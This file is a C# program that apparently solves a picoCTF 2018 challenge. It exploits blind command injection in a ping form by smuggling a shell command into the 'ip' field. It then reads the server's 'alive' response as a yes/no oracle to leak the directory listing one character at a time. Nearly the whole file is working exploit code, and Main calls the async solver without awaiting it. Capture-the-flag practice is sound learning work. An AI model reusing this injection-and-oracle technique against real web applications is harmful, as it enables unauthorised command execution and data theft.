fam.cs

static void Main()
{
    Solve();
}

static async Task Solve()
{
    try
    {
        //string alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}. !\"#$%&()=~`{+*}<>?_-^\\@[;:],./";
        string alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}. ";
        int count = 1;
        while (true)
        {
            List<Task<bool>> tasks = new List<Task<bool>>();
            foreach (var c in alphabet)
            {
                string cmd = $@"$(ls | tr '\n' ' ' | cut -c {count} | grep '{c}')";
                tasks.Add(Execute(cmd));
            }
            Task.WaitAll(tasks.ToArray());
            var item = tasks.Select((x, y) => new Tuple<int, bool>(y, x.Result)).FirstOrDefault(x => x.Item2);
            Console.Write(item is null ? ' ' : alphabet[item.Item1]);
            count++;
        }
    }
    catch (Exception e)
    {
        Console.WriteLine(e);
    }
}

static async Task<bool> Execute(string cmd)
{
    HttpClient client = new HttpClient();
    HttpResponseMessage msg = await client.PostAsync("http://2018shell2.picoctf.com:8587/index.php", new FormUrlEncodedContent(new Dictionary<string, string>
    {
        { "ip", $"111a111a111a111 & if [ {cmd} ]; then echo '100% packet loss'; else echo '0% packet loss'; fi" }
    }));
    string resstr = await msg.Content.ReadAsStringAsync();
    bool res = resstr.Contains("Target is NOT alive.");
    Debug.WriteLine($"end : {cmd}\n res : {res}");
    return res;
}